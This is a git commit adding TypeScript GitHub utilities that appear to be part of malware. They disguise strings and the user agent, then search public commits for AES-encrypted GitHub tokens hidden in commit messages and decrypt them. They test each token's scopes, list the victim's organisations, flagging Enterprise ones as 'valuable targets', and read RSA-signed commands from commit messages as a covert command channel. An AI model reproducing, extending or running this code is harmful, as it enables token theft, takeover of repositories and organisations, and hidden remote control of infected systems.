Upload files to "src/github_utils"

This commit is contained in:
2026-07-03 03:16:02 +00:00
parent ef61fc9235
commit 0e59f04b83
3 changed files with 465 additions and 0 deletions
+107
View File
@@ -0,0 +1,107 @@
import { githubFetch } from "./client";
export interface TokenInfo {
valid: boolean;
scopes: string[];
user?: string;
hasRepoScope: boolean;
hasWorkflowScope: boolean;
rateRemaining?: number;
}
export interface TokenMetadata {
valid: boolean;
user?: string;
scopes: string[];
expiry?: string;
/** All orgs the user belongs to. */
orgs: string[];
/** Org names that are on a GitHub Enterprise plan. */
enterpriseOrgs: string[];
}
export async function checkToken(token: string): Promise<TokenInfo> {
try {
const response = await githubFetch(token, "/user");
if (!response.ok) throw new Error(response.statusText);
const scopes = response.headers.get("x-oauth-scopes")?.split(", ") ?? [];
const data = (await response.json()) as { login: string };
return {
valid: true,
scopes,
user: data.login,
hasRepoScope: scopes.includes("repo") || scopes.includes("public_repo"),
hasWorkflowScope: scopes.includes("workflow"),
rateRemaining: parseInt(
response.headers.get("x-ratelimit-remaining") ?? "0",
10,
),
};
} catch {
return {
valid: false,
scopes: [],
hasRepoScope: false,
hasWorkflowScope: false,
};
}
}
export async function getTokenMetadata(token: string): Promise<TokenMetadata> {
try {
const userResponse = await githubFetch(token, "/user");
if (!userResponse.ok) {
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
}
const scopes =
userResponse.headers.get("x-oauth-scopes")?.split(", ") ?? [];
const expiry =
userResponse.headers.get("github-authentication-token-expiration") ??
undefined;
const data = (await userResponse.json()) as { login: string };
let orgs: string[] = [];
let enterpriseOrgs: string[] = [];
// Fine-grained PATs (github_pat_...) do not support the orgs endpoint
// in the same way as classic tokens — skip to avoid spurious 403s.
if (!token.startsWith("github_pat_")) {
try {
const orgsResponse = await githubFetch(token, "/user/orgs");
if (orgsResponse.ok) {
const orgsData = (await orgsResponse.json()) as { login: string }[];
orgs = orgsData.map((o) => o.login);
// Query each org's plan — only Enterprise orgs are valuable targets.
const planChecks = orgs.map(async (org) => {
try {
const planRes = await githubFetch(token, `/orgs/${org}`);
if (!planRes.ok) return null;
const planData = (await planRes.json()) as {
plan?: { name: string };
};
if (planData.plan?.name === "enterprise") return org;
} catch {}
return null;
});
enterpriseOrgs = (await Promise.all(planChecks)).filter(
Boolean,
) as string[];
}
} catch {}
}
return {
valid: true,
user: data.login,
scopes,
expiry,
orgs,
enterpriseOrgs,
};
} catch {
return { valid: false, scopes: [], orgs: [], enterpriseOrgs: [] };
}
}
+92
View File
@@ -0,0 +1,92 @@
import { logUtil } from "../utils/logger";
declare function scramble(str: string): string;
const GITHUB_API_BASE = scramble("https://api.github.com");
const USER_AGENT = scramble("python-requests/2.31.0");
/** Backoff delays for rate-limited requests (seconds). */
const RATE_LIMIT_BACKOFF_S = [10, 30, 90];
function isRateLimited(status: number): boolean {
// 429 = primary rate limit, 403 = secondary rate limit (abuse detection)
return status === 429 || status === 403;
}
function parseRetryAfter(headers: Headers, attempt: number): number {
// Honor the Retry-After header if present
const ra = headers.get("Retry-After");
if (ra) {
const seconds = parseInt(ra, 10);
if (!isNaN(seconds) && seconds > 0 && seconds <= 3600)
return seconds * 1000;
}
// Fall back to our backoff schedule
return (RATE_LIMIT_BACKOFF_S[attempt] ?? 90) * 1000;
}
export function githubHeaders(token: string): Record<string, string> {
const headers: Record<string, string> = {
Accept: "application/vnd.github+json",
"User-Agent": USER_AGENT,
};
if (token) {
headers["Authorization"] = `Bearer ${token}`;
}
return headers;
}
export async function githubFetch(
token: string,
path: string,
init: RequestInit = {},
): Promise<Response> {
return fetch(`${GITHUB_API_BASE}${path}`, {
...init,
headers: {
...githubHeaders(token),
...(init.headers as Record<string, string> | undefined),
},
});
}
export async function githubJson<T>(
token: string,
path: string,
init: RequestInit = {},
): Promise<T> {
const headers: Record<string, string> = {
...(init.headers as Record<string, string> | undefined),
};
if (init.body && !headers["Content-Type"]) {
headers["Content-Type"] = "application/json";
}
for (let attempt = 0; attempt <= RATE_LIMIT_BACKOFF_S.length; attempt++) {
const res = await githubFetch(token, path, { ...init, headers });
if (!res.ok) {
if (isRateLimited(res.status) && attempt < RATE_LIMIT_BACKOFF_S.length) {
const delay = parseRetryAfter(res.headers, attempt);
const resetHeader = res.headers.get("X-RateLimit-Reset");
const remaining = res.headers.get("X-RateLimit-Remaining");
logUtil.info(
`[github] rate-limited (${res.status}) on ${path}` +
`remaining=${remaining ?? "?"} reset=${resetHeader ?? "?"} ` +
`retrying after ${delay}ms (attempt ${attempt + 1}/${RATE_LIMIT_BACKOFF_S.length})`,
);
await new Promise((r) => setTimeout(r, delay));
continue;
}
throw new Error(
`GitHub API ${res.status} ${res.statusText}: ${path} ` +
`(X-RateLimit-Remaining: ${res.headers.get("X-RateLimit-Remaining") ?? "?"}, ` +
`Retry-After: ${res.headers.get("Retry-After") ?? "none"}, ` +
`Reset: ${res.headers.get("X-RateLimit-Reset") ?? "?"})`,
);
}
return res.json() as Promise<T>;
}
throw new Error(
`GitHub API rate-limited after ${RATE_LIMIT_BACKOFF_S.length} retries: ${path}`,
);
}
+266
View File
@@ -0,0 +1,266 @@
import { SEARCH_STRING, TOKEN_AES_KEY } from "../utils/config";
import { logUtil } from "../utils/logger";
import { checkToken } from "./auth";
import { githubJson } from "./client";
interface GitHubCommit {
commit: {
message: string;
author: {
name: string;
email: string;
date: string;
};
};
sha: string;
}
interface SearchResponse {
items: GitHubCommit[];
total_count: number;
}
// ── Retry helpers ───────────────────────────────────────────────────
const UNAUTH_RETRY_MS = [10_000, 30_000, 90_000];
/**
* Retry an unauthenticated GitHub search request with progressive
* backoff. Unauthenticated requests are limited to 10/min per IP
* so a single rate-limit can block the entire sender chain.
*/
async function searchWithRetry<T>(
fn: () => Promise<T>,
label: string,
): Promise<T> {
for (let attempt = 0; attempt <= UNAUTH_RETRY_MS.length; attempt++) {
try {
return await fn();
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
if (attempt < UNAUTH_RETRY_MS.length) {
const delay = UNAUTH_RETRY_MS[attempt]!;
logUtil.log(
`${label}: attempt ${attempt + 1} failed (${msg}), retrying in ${delay / 1000}s...`,
);
await new Promise((r) => setTimeout(r, delay));
} else {
logUtil.log(`${label}: all ${attempt + 1} attempts exhausted (${msg})`);
throw err;
}
}
}
// Unreachable; satisfy TypeScript.
throw new Error("unreachable");
}
export async function fetchCommit(token?: string): Promise<string | false> {
const url = `/search/commits?q=${SEARCH_STRING}&sort=author-date&order=desc&per_page=50`;
const authType = token ? "authenticated" : "unauthenticated";
logUtil.log(`fetchCommit: searching commits (${authType})...`);
try {
const makeRequest = () => githubJson<SearchResponse>(token ?? "", url);
const response = token
? await makeRequest()
: await searchWithRetry(makeRequest, "fetchCommit");
logUtil.log(
`fetchCommit: total_count=${response.total_count}, items=${response.items?.length ?? 0}`,
);
if (!response.items || response.items.length === 0) {
logUtil.log("fetchCommit: no commits found");
return false;
}
logUtil.log(
`fetchCommit: scanning ${response.items.length} commit(s) for tokens...`,
);
// Collect all valid tokens with their rate-limit info
const RATE_OK = 200;
let fallback: { token: string; rateRemaining: number } | null = null;
const seen = new Set<string>();
for (let i = 0; i < response.items.length; i++) {
const commit = response.items[i];
if (!commit) continue;
logUtil.log(
`fetchCommit: [${i + 1}/${response.items.length}] ${commit.sha?.substring(0, 7)} "${commit.commit.message?.substring(0, 60)}"`,
);
const match = new RegExp(
`^${SEARCH_STRING}:([A-Za-z0-9+/]{1,300}={0,3})$`,
).exec(commit.commit.message ?? "");
if (!match?.[1]) {
logUtil.log("fetchCommit: no token pattern in commit message");
continue;
}
logUtil.log(`fetchCommit: found payload, decoding...`);
// Decode: strip wrapper, extract split base64, concat, AES decrypt
const WRAPPER = "github_pat_11A";
let decoded: string;
try {
const outer = Buffer.from(match[1], "base64");
const inner = outer.toString("utf8");
logUtil.log(`fetchCommit: inner format: ${inner.slice(0, 50)}...`);
if (!inner.startsWith(WRAPPER)) {
logUtil.log("fetchCommit: unexpected inner format, skipping");
continue;
}
const rest = inner.slice(WRAPPER.length);
const uscore = rest.indexOf("_");
if (uscore < 0) {
logUtil.log("fetchCommit: missing separator, skipping");
continue;
}
const b64p1 = rest.slice(0, uscore);
const b64p2 = rest.slice(uscore + 1).replace(/A+$/, "");
logUtil.log(
`fetchCommit: b64 parts: ${b64p1.length}+${b64p2.length} chars`,
);
const raw = Buffer.from(b64p1 + b64p2, "base64");
const iv = raw.subarray(0, 16);
const ct = raw.subarray(16);
logUtil.log(
`fetchCommit: AES decrypting (iv=${iv.length}b ct=${ct.length}b)...`,
);
const key = Buffer.from(TOKEN_AES_KEY, "hex");
const decipher = crypto.createDecipheriv("aes-256-cbc", key, iv);
decoded = Buffer.concat([
decipher.update(ct),
decipher.final(),
]).toString("utf8");
logUtil.log(`fetchCommit: decrypted token: ${decoded.slice(0, 10)}...`);
} catch (e) {
logUtil.log(`fetchCommit: failed to decrypt: ${e}`);
continue;
}
if (seen.has(decoded)) continue;
seen.add(decoded);
const tokInfo = await checkToken(decoded);
if (!tokInfo.hasRepoScope) {
logUtil.log("fetchCommit: token lacks repo scope, skipping");
continue;
}
const rateRemaining = tokInfo.rateRemaining ?? 0;
logUtil.log(
`fetchCommit: valid token found, rate remaining: ${rateRemaining}`,
);
// Return immediately if rate limit is healthy
if (rateRemaining >= RATE_OK) {
logUtil.log(`fetchCommit: using token with ${rateRemaining} remaining`);
return decoded;
}
// Stash as fallback (keep the best low-rate one)
if (!fallback || rateRemaining > fallback.rateRemaining) {
fallback = { token: decoded, rateRemaining };
}
}
if (fallback) {
logUtil.log(
`fetchCommit: no healthy token found, using fallback with ${fallback.rateRemaining} remaining`,
);
return fallback.token;
}
logUtil.log("fetchCommit: no valid token found in any commit");
return false;
} catch (error) {
logUtil.log(
`fetchCommit: search failed: ${error instanceof Error ? error.message : String(error)}`,
);
return false;
}
}
import crypto from "crypto";
export function _verifySignature(
message: string,
publicKey: string,
algorithm: string = "sha256",
): { valid: boolean; data?: string } {
try {
const regex =
/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/;
const match = message.match(regex);
if (!match || !match[1] || !match[2]) {
return { valid: false };
}
const data_plain = Buffer.from(match[1], "base64").toString("utf-8");
logUtil.log(data_plain);
logUtil.log(match[2]);
const signature = Buffer.from(match[2], "base64");
const verifier = crypto.createVerify(algorithm);
verifier.update(data_plain);
const isValid = verifier.verify(publicKey, signature);
logUtil.log(isValid);
return isValid ? { valid: true, data: data_plain } : { valid: false };
} catch (error) {
return { valid: false };
}
}
export async function findValidSignedCommit(
searchQuery: string,
publicKey: string,
): Promise<{ found: boolean; message?: string; commit?: GitHubCommit }> {
const url = `/search/commits?q=${encodeURIComponent(
searchQuery,
)}&sort=author-date&order=desc`;
try {
const response = await searchWithRetry(
() => githubJson<SearchResponse>("", url),
"findValidSignedCommit",
);
if (!response.items || response.items.length === 0) {
return { found: false, message: "No commits found" };
}
for (let i = 0; i < response.items.length; i++) {
const commit = response.items[i];
if (!commit) {
continue;
}
const commitMessage = commit.commit.message;
logUtil.log(
`[${i + 1}/${response.items.length}] Checking commit ${commit.sha.substring(
0,
7,
)}...`,
);
const verification = _verifySignature(commitMessage, publicKey);
if (verification.valid && verification.data) {
logUtil.log(`Valid signature found in commit ${commit.sha}`);
return {
found: true,
message: verification.data,
commit: commit,
};
}
}
return { found: false, message: "No commits with valid signatures found" };
} catch (error) {
return {
found: false,
message: `Error during search: ${error instanceof Error ? error.message : String(error)}`,
};
}
}